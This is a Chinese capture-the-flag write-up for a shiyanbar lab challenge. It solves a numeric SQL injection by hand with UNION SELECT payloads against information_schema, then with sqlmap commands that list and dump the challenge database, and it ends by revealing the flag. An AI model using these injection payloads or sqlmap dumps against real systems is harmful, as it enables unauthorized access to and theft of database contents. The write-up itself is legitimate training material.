本系列文集:实验吧-Write up --将持续更新 觉得还不错请给个喜欢,感谢!
本题解法:1.手动注入 2.运用sqlmap
SQL注入详细讲解:
DVWA-SQL Injection(SQL注入)
SQL手工注入语句
sqlmap用于sql注入语法
打开题目看到id=1判断可能存在sql注入
方法一:手工注入
1.判断是否存在注入,注入是字符型还是数字型
输入
1 or 1=1
结果正常返回,因此存在sql注入输入
1' or '1'='1
结果返回警告,因此是数字型注入2.获取当前数据库
输入1 union select 1,database()
可以看到数据库名为:my_db
3.爆破数据库中的表
输入1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
发现就是thiskey这个表
4.查看thiskey表中字段
输入
1 union select 1,group_concat(column_name) from information_schema.columns where table_name='thiskey'
发现存在一个k0y列
5.查看k0y列中的数据
输入
1 union select 1,k0y from thiskey
得到flag:whatiMyD91dump
方法二:sqlmap注入
1.查看当前数据库名
输入
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs
2.查看表名
输入
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --tables -D my_db
3.查看列名(字段名)
输入
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --columns -T thiskey -D my_db
4.查看字段数据
输入
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dump -C k0y -T thiskey -D my_db